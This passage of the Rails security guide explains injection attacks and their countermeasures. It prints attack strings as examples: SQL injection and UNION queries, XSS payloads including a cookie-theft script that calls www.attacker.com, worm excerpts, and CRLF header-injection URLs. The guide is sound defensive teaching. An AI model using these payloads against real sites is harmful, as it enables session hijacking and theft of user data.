 490 But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is http://recaptcha.net/[reCAPTCHA] which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. http://ambethia.com/recaptcha/[ReCAPTCHA] is also a Rails plug-in with the same name as the API.
 491
 492 You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
 493 The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
 494
 495 Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
 496
 497 Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
 498
 499 - position the fields off of the visible area of the page
 500 - make the elements very small or colour them the same as the background of the page
 501 - leave the fields displayed, but tell humans to leave them blank
 502
 503 The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
 504
 505 You can find more sophisticated negative CAPTCHAs in Ned Batchelder's http://nedbatchelder.com/text/stopbots.html[blog post]:
 506
 507 - Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
 508 - Randomize the field names
 509 - Include more than one honeypot field of all types, including submission buttons
 510
 511 Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.
 512
 513 === Logging
 514
 515 -- _Tell Rails not to put passwords in the log files._
 516
 517 By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can [,#fffcdb]#filter certain request parameters from your log files# by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
 518
 519 [source, ruby]
 520 ----------------------------------------------------------------------------
 521 filter_parameter_logging :password
 522 ----------------------------------------------------------------------------
 523
 524 === Good passwords
 525
 526 -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
 527
 528 Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
 529
 530 password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.
 531
 532 It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
 533
 534 A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the [,#fffcdb]#first letters of a sentence that you can easily remember#. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
 535
 536 === Regular expressions
 537
 538 -- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
 539
 540 Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
 541
 542 [source, ruby]
 543 ----------------------------------------------------------------------------
 544 class File < ActiveRecord::Base
 545   validates_format_of :name, :with => /^[\w\.\-\+]+$/
 546 end
 547 ----------------------------------------------------------------------------
 548
 549 This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, [,#fffcdb]#in Ruby ^ and $ matches the *line* beginning and line end#. And thus a file name like this passes the filter without problems:
 550
 551 ..........
 552 file.txt%0A<script>alert('hello')</script>
 553 ..........
 554
 555 Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
 556
 557 [source, ruby]
 558 ----------------------------------------------------------------------------
 559 /\A[\w\.\-\+]+\z/
 560 [source, ruby]
 561 ----------------------------------------------------------------------------
 562
 563 === Privilege escalation
 564
 565 -- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
 566
 567 The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:
 568
 569 [source, ruby]
 570 ----------------------------------------------------------------------------
 571 @project = Project.find(params[:id])
 572 ----------------------------------------------------------------------------
 573
 574 This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, [,#fffcdb]#query the user's access rights, too#:
 575
 576 [source, ruby]
 577 ----------------------------------------------------------------------------
 578 @project = @current_user.projects.find(params[:id])
 579 ----------------------------------------------------------------------------
 580
 581 Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, [,#fffcdb]#no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated#.
 582
 583 Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. [,#fffcdb]#JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values#. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
 584
 585 == Injection
 586
 587 -- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
 588
 589 Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
 590
 591 === Whitelists versus Blacklists
 592
 593 -- _When sanitizing, protecting or verifying something, whitelists over blacklists._
 594
 595 A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), [,#fffcdb]#prefer to use whitelist approaches#:
 596
 597 - Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
 598 - Use attr_accessible instead of attr_protected. See the mass-assignment section for details
 599 - Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
 600 - Don't try to correct user input by blacklists:
 601  * This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
 602  * But reject malformed input
 603
 604 Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
 605
 606 === SQL Injection
 607
 608 -- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
 609
 610 ==== Introduction
 611
 612 SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
 613
 614 [source, ruby]
 615 ----------------------------------------------------------------------------
 616 Project.find(:all, :conditions => "name = '#{params[:name]}'")
 617 ----------------------------------------------------------------------------
 618
 619 This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
 620
 621 ..........
 622 SELECT * FROM projects WHERE name = '' OR 1 --'
 623 ..........
 624
 625 The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
 626
 627 ==== Bypassing authorization
 628
 629 Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
 630
 631 [source, ruby]
 632 ----------------------------------------------------------------------------
 633 User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
 634 ----------------------------------------------------------------------------
 635
 636 If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
 637
 638 .........
 639 SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
 640 .........
 641
 642 This will simply find the first record in the database, and grants access to this user.
 643
 644 ==== Unauthorized reading
 645
 646 The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
 647
 648 [source, ruby]
 649 ----------------------------------------------------------------------------
 650 Project.find(:all, :conditions => "name = '#{params[:name]}'")
 651 ----------------------------------------------------------------------------
 652
 653 And now let's inject another query using the UNION statement:
 654
 655 ............
 656 ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
 657 ............
 658
 659 This will result in the following SQL query:
 660
 661 ............
 662 SELECT * FROM projects WHERE (name = '') UNION
 663   SELECT id,login AS name,password AS description,1,1,1 FROM users --')
 664 ............
 665
 666 The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
 667
 668 Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/[to at least 2.1.1].
 669
 670 ==== Countermeasures
 671
 672 Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. [,#fffcdb]#Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]#. But in SQL fragments, especially [,#fffcdb]#in conditions fragments (:conditions => "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually#.
 673
 674 Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
 675
 676 [source, ruby]
 677 ----------------------------------------------------------------------------
 678 Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
 679 ----------------------------------------------------------------------------
 680
 681 As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
 682
 683 [source, ruby]
 684 ----------------------------------------------------------------------------
 685 Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
 686 ----------------------------------------------------------------------------
 687
 688 The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. [,#fffcdb]#Make it a habit to think about the security consequences when using an external string in SQL#.
 689
 690 === Cross-Site Scripting (XSS)
 691
 692 -- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
 693
 694 ==== Entry points
 695
 696 An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
 697
 698 The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the http://livehttpheaders.mozdev.org/[Live HTTP Headers Firefox plugin], or client-site proxies make it easy to change requests.
 699
 700 XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
 701
 702 During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security threat report] also documented 239 browser plug-in vulnerabilities in the last six months of 2007. http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx[Mpack] is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites http://www.0x000000.com/?i=556[were hacked] like this, among them the British government, United Nations and many more high targets.
 703
 704 A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/[Trend Micro].
 705
 706 ==== HTML/JavaScript Injection
 707
 708 The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. [,#fffcdb]#Escaping user input is essential#.
 709
 710 Here is the most straightforward test to check for XSS:
 711
 712 ..........
 713 <script>alert('Hello');</script>
 714 ..........
 715
 716 This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
 717
 718 ..........
 719 <img src=javascript:alert('Hello')>
 720 <table background="javascript:alert('Hello')">
 721 ..........
 722
 723 ===== Cookie theft
 724
 725 These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
 726
 727 ..........
 728 <script>document.write(document.cookie);</script>
 729 ..........
 730
 731 For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
 732
 733 ..........
 734 <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
 735 ..........
 736
 737 The log files on www.attacker.com will read like this:
 738
 739 ..........
 740 GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
 741 ..........
 742
 743 You can mitigate these attacks (in the obvious way) by adding the http://dev.rubyonrails.org/ticket/8895[httpOnly] flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/[will still be visible using Ajax], though.
 744
 745 ===== Defacement
 746
 747 With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
 748
 749 ..........
 750 <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
 751 ..........
 752
 753 This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html[actual attack] on legitimate Italian sites using the http://isc.sans.org/diary.html?storyid=3015[Mpack attack framework]. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
 754
 755 A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
 756
 757 Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
 758
 759 ..........
 760 http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
 761   <script src=http://www.securitylab.ru/test/sc.js></script><!--
 762 ..........
 763
 764 ===== Countermeasures
 765
 766 [,#fffcdb]#It is very important to filter malicious input, but it is also important to escape the output of the web application#.
 767
 768 Especially for XSS, it is important to do [,#fffcdb]#whitelist input filtering instead of blacklist#. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
 769
 770 Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
 771
 772 ...........
 773 strip_tags("some<<b>script>alert('hello')<</b>/script>")
 774 ...........
 775
 776 This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
 777
 778 ...........
 779 tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
 780 s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
 781 ...........
 782
 783 This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
 784
 785 As a second step, [,#fffcdb]#it is good practice to escape all output of the application#, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). [,#fffcdb]#Use escapeHTML() (or its alias h()) method# to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so [,#fffcdb]#it is recommended to use the http://safe-erb.rubyforge.org/svn/plugins/safe_erb/[SafeErb] plugin#. SafeErb reminds you to escape strings from external sources.
 786
 787 ===== Obfuscation and Encoding Injection
 788
 789 Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
 790
 791 ............
 792 <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
 793   &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
 794 ............
 795
 796 This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php[Hackvertor]. Rails‘ sanitize() method does a good job to fend off encoding attacks.
 797
 798 ==== Examples from the underground
 799
 800 -- _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
 801
 802 The following is an excerpt from the http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1[Js.Yamanner@m] Yahoo! Mail http://groovin.net/stuff/yammer.txt[worm]. It appeared on June 11, 2006 and was the first webmail interface worm:
 803
 804 ...........
 805 <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
 806   target=""onload="var http_request = false;    var Email = '';
 807   var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
 808 ...........
 809
 810 The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
 811
 812 Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on http://rosario.valotta.googlepages.com/home[Rosario Valotta's website]. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
 813
 814 In December 2006, 34,000 actual user names and passwords were stolen in a http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html[MySpace phishing attack]. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
 815
 816 The MySpace Samy worm will be discussed in the CSS Injection section.
 817
 818 === CSS Injection
 819
 820 -- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
 821
 822 CSS Injection is explained best by a well-known worm, the http://namb.la/popular/tech.html[MySpace Samy worm]. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
 823
 824 MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
 825
 826 ...........
 827 <div style="background:url('javascript:alert(1)')">
 828 ...........
 829
 830 So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
 831
 832 ...........
 833 <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
 834 ...........
 835
 836 The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
 837
 838 ...........
 839 alert(eval('document.body.inne' + 'rHTML'));
 840 ...........
 841
 842 The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:
 843
 844 ...........
 845 <div id="mycode" expr="alert('hah!')" style="background:url('java↵ script:eval(document.all.mycode.expr)')">
 846 ...........
 847
 848 Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.
 849
 850 In the end, he got a 4 KB worm, which he injected into his profile page.
 851
 852 The http://www.securiteam.com/securitynews/5LP051FHPE.html[moz-binding] CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
 853
 854 ==== Countermeasures
 855 This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. [,#fffcdb]#If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application#. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
 856
 857 === Textile Injection
 858
 859 -- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. http://whytheluckystiff.net/ruby/redcloth/[RedCloth] is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
 860
 861         For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
 862
 863
 864 ...........
 865 >> RedCloth.new('<script>alert(1)</script>').to_html
 866 => "<script>alert(1)</script>"
 867 ...........
 868
 869 Use the :filter_html option to remove HTML which was not created by the Textile processor.
 870
 871 ...........
 872 >> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
 873 => "alert(1)"
 874 ...........
 875
 876 However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
 877
 878 ...........
 879 >> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
 880 => "<p><a href="javascript:alert(1)">hello</a></p>"
 881 ...........
 882
 883 ==== Countermeasures
 884
 885 It is recommended to [,#fffcdb]#use RedCloth in combination with a whitelist input filter#, as described in the countermeasures against XSS.
 886
 887 === Ajax Injection
 888
 889 -- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
 890
 891 If you use the http://dev.rubyonrails.org/browser/plugins/in_place_editing[in_place_editor plugin], or actions that return a string, rather than rendering a view, [,#fffcdb]#you have to escape the return value in the action#. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
 892
 893 === RJS Injection
 894
 895 -- _Don't forget to escape in JavaScript (RJS) templates, too._
 896
 897 The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. [,#fffcdb]#If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()#. Otherwise an attacker could execute arbitrary JavaScript.
 898
 899 === Command Line Injection
 900
 901 -- _Use user-supplied command line parameters with caution._
 902
 903 If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \`command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
 904
 905 A countermeasure is to [,#fffcdb]#use the +system(command, parameters)+ method which passes command line parameters safely#.
 906
 907 ..........
 908 system("/bin/echo","hello; rm *")
 909 # prints "hello; rm *" and does not delete files
 910 ..........
 911
 912
 913 === Header Injection
 914 -- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
 915
 916 HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. [,#fffcdb]#Remember to escape these header fields, too.# For example when you display the user agent in an administration area.
 917
 918 Besides that, it is [,#fffcdb]#important to know what you are doing when building response headers partly based on user input.# For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
 919
 920 ..........
 921 redirect_to params[:referer]
 922 ..........
 923
 924 What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
 925
 926 ..........
 927 http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
 928 ..........
 929
 930 And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
 931
 932 ..........
 933 http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
 934 http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
 935 ..........
 936
 937 Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
 938
 939 ..........
 940 HTTP/1.1 302 Moved Temporarily
 941 (...)
 942 Location: http://www.malicious.tld
 943 ..........
 944
 945 So [,#fffcdb]#attack vectors for Header Injection are based on the injection of CRLF characters in a header field.# And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. [,#fffcdb]#Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.#
 946
 947 ==== Response Splitting
 948 If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
 949
 950 ..........
 951 HTTP/1.1 302 Found [First standard 302 response]
 952 Date: Tue, 12 Apr 2005 22:09:07 GMT
 953 Location: Content-Type: text/html
 954
 955
 956 HTTP/1.1 200 OK [Second New response created by attacker begins]
 957 Content-Type: text/html
 958
 959
 960 <html><font color=red>hey</font></html> [Arbitary malicious input is
 961 Keep-Alive: timeout=15, max=100         shown as the redirected page]
 962 Connection: Keep-Alive
 963 Transfer-Encoding: chunked
 964 Content-Type: text/html
 965 ..........
 966
 967 Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. [,#fffcdb]#In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.#
 968
 969
 970 == Additional resources
 971
 972 The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
 973
 974 - The Ruby on Rails security project posts security news regularly: http://www.rorsecurity.info[http://www.rorsecurity.info]
 975 - Subscribe to the Rails security http://groups.google.com/group/rubyonrails-security[mailing list]
 976 - http://secunia.com/[Keep up to date on the other application layers] (they have a weekly newsletter, too)
 977 - A http://ha.ckers.org/blog/[good security blog] including the http://ha.ckers.org/xss.html[Cross-Site scripting Cheat Sheet]
 978 - Another http://www.0x000000.com/[good security blog] with some Cheat Sheets, too
 979
 980 == Changelog ==
 981
 982 http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7[Lighthouse ticket]
 983
 984 * November 1, 2008: First approved version by Heiko Webers